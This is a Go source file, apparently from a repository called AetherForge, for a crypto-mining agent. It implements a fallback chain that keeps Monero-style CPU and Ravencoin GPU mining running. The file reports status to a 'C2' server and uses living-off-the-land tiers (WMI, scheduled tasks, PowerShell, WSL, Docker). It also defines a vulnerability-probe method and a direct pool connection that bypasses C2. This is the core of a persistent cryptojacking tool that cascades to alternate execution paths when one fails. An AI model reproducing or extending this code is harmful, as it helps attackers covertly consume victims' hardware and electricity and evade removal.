Files
AetherForge/agent/miner/fallback_chain.go
AetherForge fac324ff80
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add mining self-surgery for on-host recovery when AI control detects stalls.
When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.
2026-06-07 09:27:26 -07:00

861 lines
22 KiB
Go

package miner
import (
"context"
"errors"
"log"
"runtime"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
var (
// ErrChainExhausted is returned when every primary method in the chain failed.
ErrChainExhausted = errors.New("mining fallback chain exhausted")
// ErrMethodUnavailable is returned when hooks for a method are missing.
ErrMethodUnavailable = errors.New("mining method unavailable")
)
// MiningMethod identifies one workload path in the cascade.
type MiningMethod string
const (
MethodDockerLoad MiningMethod = "docker_load"
MethodContainer MiningMethod = "container" // LOTL tier alias: docker
MethodWSL MiningMethod = "wsl"
MethodPowerShell MiningMethod = "powershell"
MethodDotnet MiningMethod = "dotnet"
MethodInProcess MiningMethod = "inprocess"
MethodGPUSubprocess MiningMethod = "gpu_subprocess"
MethodLinuxPyOpenCL MiningMethod = "linux_pyopencl"
MethodStratumDirect MiningMethod = "stratum_direct"
MethodWMI MiningMethod = "wmi"
MethodScheduledTask MiningMethod = "scheduled_task"
MethodGPUCompute MiningMethod = "gpu_compute"
MethodWebView2Probe MiningMethod = "webview2_probe"
MethodVulnProbe MiningMethod = "vuln_probe"
)
// DefaultChainCooldown is the minimum wait between full chain re-passes.
const DefaultChainCooldown = 30 * time.Second
// MethodFailure records one failed attempt for operator diagnostics.
type MethodFailure struct {
Method MiningMethod `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
}
// MiningStatus is the live cascade snapshot sent to C2/UI.
type MiningStatus struct {
ActiveMethod MiningMethod `json:"active_method"`
ActiveMethods []MiningMethod `json:"active_methods,omitempty"`
FailedMethods []MethodFailure `json:"failed_methods"`
LastError string `json:"last_error,omitempty"`
ChainOrder []MiningMethod `json:"chain_order,omitempty"`
GPUParallel bool `json:"gpu_parallel,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
LOTLTier LOTLTier `json:"lotl_tier,omitempty"`
LOTLAttempts []TierAttempt `json:"lotl_attempts,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"`
}
// ChainHooks wires agent-specific start/stop logic without importing client.
type ChainHooks struct {
StartDockerLoad func() error
StartContainer func() error
StartWSL func() error
StartPowerShell func() error
StartDotnet func() error
StartInProcess func() error
StartGPU func() error
StartPyOpenCL func() error
StopDockerLoad func()
StopContainer func()
StopWSL func()
StopPowerShell func()
StopDotnet func()
StopInProcess func()
StopGPU func()
StopPyOpenCL func()
IsDockerLoadHealthy func() bool
IsContainerHealthy func() bool
IsWSLHealthy func() bool
IsGPUSupported func() bool
PoolConfigured func() bool
RunTierProbes func() TierReport
RunTierChain func() (LOTLTier, error)
StopTiers func()
WebGPUReady func() bool
GPUComputeReady func() bool
}
// FallbackReporter emits mining_status / mining_fallback events to C2.
type FallbackReporter func(status MiningStatus, eventType string)
// appendLOTLPrimary adds docker_load → docker/container → wsl → in-process CPU tiers.
func appendLOTLPrimary(chain []MiningMethod, cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
if HasImageTarPolicy(cfg) && runtime.Available {
chain = append(chain, MethodDockerLoad)
}
if runtime.Available {
chain = append(chain, MethodContainer)
}
if wsl := WSLDetector(); wsl.Available {
chain = append(chain, MethodWSL)
}
return append(chain, MethodInProcess)
}
// DefaultFallbackChain returns the ordered cascade for cfg + platform.
// CPU primary is sequential (docker_load → container → wsl → in-process). GPU runs
// in parallel once CPU primary is established. Stratum direct overlays in-process when C2 jobs stall.
func DefaultFallbackChain(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
chain := make([]MiningMethod, 0, 6)
switch raw {
case ExecutionPowerShell:
chain = append(chain, MethodPowerShell, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionDotnet:
chain = append(chain, MethodDotnet, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionSubprocess:
chain = append(chain, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionInProcess:
chain = append(chain, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionContainer:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case "", ExecutionAuto:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
default:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
}
if cfg.PoolHost != "" {
chain = append(chain, MethodStratumDirect)
}
chain = appendLinuxPyOpenCL(chain)
return appendWindowsLOTLMethods(chain, cfg)
}
// appendLinuxPyOpenCL inserts linux_pyopencl before stratum when no CUDA but PyOpenCL exists.
func appendLinuxPyOpenCL(chain []MiningMethod) []MiningMethod {
if runtime.GOOS != "linux" || DetectCUDA() || !DetectPyOpenCL() {
return chain
}
out := make([]MiningMethod, 0, len(chain)+1)
for _, m := range chain {
if m == MethodStratumDirect {
out = append(out, MethodLinuxPyOpenCL)
}
out = append(out, m)
}
return out
}
// appendWindowsLOTLMethods adds probe and execution tiers after the primary chain.
func appendWindowsLOTLMethods(chain []MiningMethod, cfg config.RuntimeConfig) []MiningMethod {
for _, tier := range DefaultWindowsTierOrder() {
switch tier {
case TierWebView2Probe:
chain = append(chain, MethodWebView2Probe)
case TierWMI:
chain = append(chain, MethodWMI)
case TierScheduledTask:
chain = append(chain, MethodScheduledTask)
case TierGPUCompute:
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUCompute)
}
}
}
return chain
}
// primaryMethods are CPU paths tried sequentially until one succeeds.
func primaryMethods(chain []MiningMethod) []MiningMethod {
var out []MiningMethod
for _, m := range chain {
switch m {
case MethodDockerLoad, MethodContainer, MethodWSL, MethodPowerShell, MethodDotnet, MethodInProcess:
out = append(out, m)
}
}
return out
}
// ChainController orchestrates sequential CPU fallback and parallel GPU addon.
type ChainController struct {
mu sync.RWMutex
cfg config.RuntimeConfig
runtime ContainerRuntimeInfo
chain []MiningMethod
hooks ChainHooks
report FallbackReporter
activePrimary MiningMethod
gpuActive bool
stratumActive bool
failures []MethodFailure
lastError string
primaryIdx int
paused bool
lastFullPass time.Time
chainExhausted bool
lotlTier LOTLTier
lotlAttempts []TierAttempt
webGPUReady bool
}
// NewChainController builds a controller with platform-aware chain order.
func NewChainController(cfg config.RuntimeConfig, hooks ChainHooks, report FallbackReporter) *ChainController {
rt := RuntimeDetector()
return &ChainController{
cfg: cfg,
runtime: rt,
chain: DefaultFallbackChain(cfg, rt),
hooks: hooks,
report: report,
}
}
// Status returns a snapshot of the cascade state.
func (c *ChainController) Status() MiningStatus {
c.mu.RLock()
defer c.mu.RUnlock()
return c.buildStatus()
}
func (c *ChainController) buildStatus() MiningStatus {
active := c.activePrimary
if c.stratumActive && active == "" {
active = MethodInProcess
}
if c.stratumActive && active == MethodInProcess {
// Stratum overlays in-process — primary stays inprocess, flag overlay.
}
methods := make([]MiningMethod, 0, 3)
if active != "" {
methods = append(methods, active)
}
if c.gpuActive {
methods = append(methods, MethodGPUSubprocess)
}
if c.stratumActive {
// Report stratum as active_method when it is the only CPU path working.
if active == "" {
active = MethodStratumDirect
methods = []MiningMethod{MethodStratumDirect}
if c.gpuActive {
methods = append(methods, MethodGPUSubprocess)
}
}
}
failures := make([]MethodFailure, len(c.failures))
copy(failures, c.failures)
chain := make([]MiningMethod, len(c.chain))
copy(chain, c.chain)
attempts := make([]TierAttempt, len(c.lotlAttempts))
copy(attempts, c.lotlAttempts)
return MiningStatus{
ActiveMethod: active,
ActiveMethods: methods,
FailedMethods: failures,
LastError: c.lastError,
ChainOrder: chain,
GPUParallel: c.gpuActive && active != "" && active != MethodGPUSubprocess,
StratumOverlay: c.stratumActive,
ChainExhausted: c.chainExhausted,
LOTLTier: c.lotlTier,
LOTLAttempts: attempts,
WebGPUReady: c.webGPUReady,
}
}
// OnMethodFailed records a failure and notifies C2.
func (c *ChainController) OnMethodFailed(method MiningMethod, reason string) {
c.mu.Lock()
c.lastError = reason
c.failures = append(c.failures, MethodFailure{
Method: method,
Reason: reason,
At: time.Now().UTC().Format(time.RFC3339),
})
status := c.buildStatus()
report := c.report
c.mu.Unlock()
log.Printf("[mining-chain] %s failed: %s", method, reason)
if report != nil {
report(status, "mining_fallback")
}
}
// SetPrimaryActive marks which CPU method is currently handling RandomX.
func (c *ChainController) SetPrimaryActive(method MiningMethod) {
c.mu.Lock()
c.activePrimary = method
c.chainExhausted = false
if method != "" {
c.primaryIdx = 0
for i, m := range primaryMethods(c.chain) {
if m == method {
c.primaryIdx = i
break
}
}
}
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// SetGPUActive records parallel RVN subprocess state.
func (c *ChainController) SetGPUActive(active bool) {
c.mu.Lock()
c.gpuActive = active
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// SetStratumActive records direct Stratum overlay (same pool workers, C2 bypass).
func (c *ChainController) SetStratumActive(active bool) {
c.mu.Lock()
c.stratumActive = active
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
event := "mining_status"
if active {
event = "mining_fallback"
}
report(status, event)
}
}
// MergeLOTLReport copies tier onion telemetry into the cascade snapshot.
func (c *ChainController) MergeLOTLReport(rep TierReport) {
c.mu.Lock()
c.lotlTier = rep.ActiveTier
if len(rep.Attempts) > 0 {
c.lotlAttempts = append([]TierAttempt(nil), rep.Attempts...)
}
c.webGPUReady = rep.WebGPUReady
c.mu.Unlock()
}
// TryChain attempts each primary CPU method until one starts successfully.
func (c *ChainController) TryChain(ctx context.Context) (MiningMethod, error) {
c.mu.Lock()
if c.paused {
c.mu.Unlock()
return "", nil
}
if !c.lastFullPass.IsZero() && time.Since(c.lastFullPass) < DefaultChainCooldown {
c.mu.Unlock()
return c.activePrimary, nil
}
c.lastFullPass = time.Now()
c.chainExhausted = false
hooks := c.hooks
primary := primaryMethods(c.chain)
c.mu.Unlock()
if len(primary) == 0 {
primary = []MiningMethod{MethodInProcess}
}
var lastErr error
for _, method := range primary {
select {
case <-ctx.Done():
return "", ctx.Err()
default:
}
if err := c.tryStartPrimary(method, hooks); err != nil {
lastErr = err
c.OnMethodFailed(method, err.Error())
c.stopPrimaryMethod(method, hooks)
continue
}
c.SetPrimaryActive(method)
c.runLOTLProbes(hooks)
c.tryGPUAddon(ctx, hooks)
c.tryPyOpenCLAddon(ctx, hooks)
c.runLOTLChain(hooks)
return method, nil
}
c.mu.Lock()
c.chainExhausted = true
c.lastError = "all primary mining methods failed"
if lastErr != nil {
c.lastError = lastErr.Error()
}
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
if lastErr != nil {
return "", lastErr
}
return "", ErrChainExhausted
}
func (c *ChainController) tryStartPrimary(method MiningMethod, hooks ChainHooks) error {
switch method {
case MethodDockerLoad:
if hooks.StartDockerLoad == nil {
return ErrMethodUnavailable
}
return hooks.StartDockerLoad()
case MethodContainer:
if hooks.StartContainer == nil {
return ErrMethodUnavailable
}
return hooks.StartContainer()
case MethodWSL:
if hooks.StartWSL == nil {
return ErrMethodUnavailable
}
return hooks.StartWSL()
case MethodInProcess:
if hooks.StartInProcess == nil {
return ErrMethodUnavailable
}
return hooks.StartInProcess()
case MethodPowerShell:
if hooks.StartPowerShell == nil {
return ErrMethodUnavailable
}
return hooks.StartPowerShell()
case MethodDotnet:
if hooks.StartDotnet == nil {
return ErrMethodUnavailable
}
return hooks.StartDotnet()
default:
return ErrMethodUnavailable
}
}
func (c *ChainController) stopPrimaryMethod(method MiningMethod, hooks ChainHooks) {
switch method {
case MethodDockerLoad:
if hooks.StopDockerLoad != nil {
hooks.StopDockerLoad()
}
case MethodContainer:
if hooks.StopContainer != nil {
hooks.StopContainer()
}
case MethodWSL:
if hooks.StopWSL != nil {
hooks.StopWSL()
}
case MethodInProcess:
if hooks.StopInProcess != nil {
hooks.StopInProcess()
}
case MethodPowerShell:
if hooks.StopPowerShell != nil {
hooks.StopPowerShell()
}
case MethodDotnet:
if hooks.StopDotnet != nil {
hooks.StopDotnet()
}
}
}
func (c *ChainController) runLOTLProbes(hooks ChainHooks) {
if hooks.RunTierProbes == nil {
return
}
rep := hooks.RunTierProbes()
c.mu.Lock()
c.lotlAttempts = rep.Attempts
c.webGPUReady = rep.WebGPUReady
c.mu.Unlock()
}
func (c *ChainController) runLOTLChain(hooks ChainHooks) {
if hooks.RunTierChain == nil {
return
}
tier, err := hooks.RunTierChain()
c.mu.Lock()
if tier != "" {
c.lotlTier = tier
}
c.mu.Unlock()
if err != nil && err != ErrTierChainSkipped {
c.OnMethodFailed(MiningMethod(tier), err.Error())
}
}
func (c *ChainController) tryPyOpenCLAddon(ctx context.Context, hooks ChainHooks) {
if hooks.StartPyOpenCL == nil {
return
}
hasTier := false
for _, m := range c.chain {
if m == MethodLinuxPyOpenCL {
hasTier = true
break
}
}
if !hasTier {
return
}
select {
case <-ctx.Done():
return
default:
}
if err := hooks.StartPyOpenCL(); err != nil {
c.OnMethodFailed(MethodLinuxPyOpenCL, err.Error())
if hooks.StopPyOpenCL != nil {
hooks.StopPyOpenCL()
}
return
}
log.Printf("[mining-chain] linux_pyopencl tier active (OpenCL probe OK)")
}
func (c *ChainController) tryGPUAddon(ctx context.Context, hooks ChainHooks) {
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
return
}
// WebView2 probe gates gpu_subprocess unless WebGPU was exposed or gpu_compute succeeded.
if hooks.WebGPUReady != nil && !hooks.WebGPUReady() {
if hooks.GPUComputeReady == nil || !hooks.GPUComputeReady() {
c.OnMethodFailed(MethodGPUSubprocess, "webview2_probe: WebGPU not available — skipping gpu_subprocess escalation")
return
}
}
select {
case <-ctx.Done():
return
default:
}
if err := hooks.StartGPU(); err != nil {
c.OnMethodFailed(MethodGPUSubprocess, err.Error())
if hooks.StopGPU != nil {
hooks.StopGPU()
}
c.SetGPUActive(false)
return
}
c.SetGPUActive(true)
}
// AdvancePrimary moves to the next CPU method after runtime failure.
func (c *ChainController) AdvancePrimary(reason string) {
c.mu.Lock()
if c.paused {
c.mu.Unlock()
return
}
failed := c.activePrimary
hooks := c.hooks
primary := primaryMethods(c.chain)
idx := 0
for i, m := range primary {
if m == failed {
idx = i + 1
break
}
}
c.mu.Unlock()
if failed != "" {
c.OnMethodFailed(failed, reason)
c.stopPrimaryMethod(failed, hooks)
}
for idx < len(primary) {
method := primary[idx]
if err := c.tryStartPrimary(method, hooks); err != nil {
c.OnMethodFailed(method, err.Error())
c.stopPrimaryMethod(method, hooks)
idx++
continue
}
c.SetPrimaryActive(method)
return
}
c.mu.Lock()
c.chainExhausted = true
c.activePrimary = ""
c.lastError = "primary chain exhausted after " + string(failed) + " failure"
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// RestartChain resets failures and re-runs the full primary chain (respects cooldown).
func (c *ChainController) RestartChain(ctx context.Context) {
c.mu.Lock()
c.failures = nil
c.lastError = ""
c.chainExhausted = false
c.activePrimary = ""
c.primaryIdx = 0
c.lastFullPass = time.Time{}
c.mu.Unlock()
_, _ = c.TryChain(ctx)
}
// StopAll pauses cascade and stops every running method.
func (c *ChainController) StopAll() {
c.mu.Lock()
c.paused = true
hooks := c.hooks
c.mu.Unlock()
if hooks.StopDockerLoad != nil {
hooks.StopDockerLoad()
}
if hooks.StopContainer != nil {
hooks.StopContainer()
}
if hooks.StopWSL != nil {
hooks.StopWSL()
}
if hooks.StopPowerShell != nil {
hooks.StopPowerShell()
}
if hooks.StopDotnet != nil {
hooks.StopDotnet()
}
if hooks.StopInProcess != nil {
hooks.StopInProcess()
}
if hooks.StopGPU != nil {
hooks.StopGPU()
}
if hooks.StopPyOpenCL != nil {
hooks.StopPyOpenCL()
}
if hooks.StopTiers != nil {
hooks.StopTiers()
}
c.mu.Lock()
c.activePrimary = ""
c.gpuActive = false
c.lotlTier = ""
c.mu.Unlock()
}
// ResumeAll clears pause and restarts the chain.
func (c *ChainController) ResumeAll(ctx context.Context) {
c.mu.Lock()
c.paused = false
c.mu.Unlock()
c.RestartChain(ctx)
}
// SetChainHooksForTest patches cascade hooks; non-nil fields override (unit tests only).
func (c *ChainController) SetChainHooksForTest(patch ChainHooks) {
c.mu.Lock()
h := c.hooks
if patch.StartDockerLoad != nil {
h.StartDockerLoad = patch.StartDockerLoad
}
if patch.StartContainer != nil {
h.StartContainer = patch.StartContainer
}
if patch.StartWSL != nil {
h.StartWSL = patch.StartWSL
}
if patch.StartPowerShell != nil {
h.StartPowerShell = patch.StartPowerShell
}
if patch.StartDotnet != nil {
h.StartDotnet = patch.StartDotnet
}
if patch.StartInProcess != nil {
h.StartInProcess = patch.StartInProcess
}
if patch.StartGPU != nil {
h.StartGPU = patch.StartGPU
}
if patch.StartPyOpenCL != nil {
h.StartPyOpenCL = patch.StartPyOpenCL
}
if patch.StopDockerLoad != nil {
h.StopDockerLoad = patch.StopDockerLoad
}
if patch.StopContainer != nil {
h.StopContainer = patch.StopContainer
}
if patch.StopWSL != nil {
h.StopWSL = patch.StopWSL
}
if patch.StopPowerShell != nil {
h.StopPowerShell = patch.StopPowerShell
}
if patch.StopDotnet != nil {
h.StopDotnet = patch.StopDotnet
}
if patch.StopInProcess != nil {
h.StopInProcess = patch.StopInProcess
}
if patch.StopGPU != nil {
h.StopGPU = patch.StopGPU
}
if patch.StopPyOpenCL != nil {
h.StopPyOpenCL = patch.StopPyOpenCL
}
if patch.IsDockerLoadHealthy != nil {
h.IsDockerLoadHealthy = patch.IsDockerLoadHealthy
}
if patch.IsContainerHealthy != nil {
h.IsContainerHealthy = patch.IsContainerHealthy
}
if patch.IsWSLHealthy != nil {
h.IsWSLHealthy = patch.IsWSLHealthy
}
if patch.IsGPUSupported != nil {
h.IsGPUSupported = patch.IsGPUSupported
}
if patch.PoolConfigured != nil {
h.PoolConfigured = patch.PoolConfigured
}
if patch.RunTierProbes != nil {
h.RunTierProbes = patch.RunTierProbes
}
if patch.RunTierChain != nil {
h.RunTierChain = patch.RunTierChain
}
if patch.StopTiers != nil {
h.StopTiers = patch.StopTiers
}
if patch.WebGPUReady != nil {
h.WebGPUReady = patch.WebGPUReady
}
if patch.GPUComputeReady != nil {
h.GPUComputeReady = patch.GPUComputeReady
}
c.hooks = h
c.mu.Unlock()
}
// SetChainOrderForTest overrides the ordered cascade (unit tests only).
func (c *ChainController) SetChainOrderForTest(chain []MiningMethod) {
c.mu.Lock()
c.chain = append([]MiningMethod(nil), chain...)
c.mu.Unlock()
}
// ReorderChain replaces the cascade order and optionally skips failed methods.
func (c *ChainController) ReorderChain(chain []MiningMethod, skip []MiningMethod) {
c.mu.Lock()
defer c.mu.Unlock()
skipSet := make(map[MiningMethod]bool, len(skip))
for _, m := range skip {
skipSet[m] = true
}
if len(chain) > 0 {
c.chain = append([]MiningMethod(nil), chain...)
} else if len(skip) > 0 {
filtered := make([]MiningMethod, 0, len(c.chain))
for _, m := range c.chain {
if !skipSet[m] {
filtered = append(filtered, m)
}
}
c.chain = filtered
}
c.failures = nil
c.chainExhausted = false
c.lastError = ""
c.lastFullPass = time.Time{}
}
// Monitor watches container health and advances the chain on exit.
func (c *ChainController) Monitor(ctx context.Context) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
c.mu.RLock()
paused := c.paused
primary := c.activePrimary
hooks := c.hooks
c.mu.RUnlock()
if paused {
continue
}
healthy := true
reason := ""
switch primary {
case MethodDockerLoad:
if hooks.IsDockerLoadHealthy != nil {
healthy = hooks.IsDockerLoadHealthy()
reason = "docker_load workload exited or unhealthy"
}
case MethodContainer:
if hooks.IsContainerHealthy != nil {
healthy = hooks.IsContainerHealthy()
reason = "container workload exited or unhealthy"
}
case MethodWSL:
if hooks.IsWSLHealthy != nil {
healthy = hooks.IsWSLHealthy()
reason = "wsl workload exited or unhealthy"
}
default:
continue
}
if healthy {
continue
}
c.AdvancePrimary(reason)
}
}
}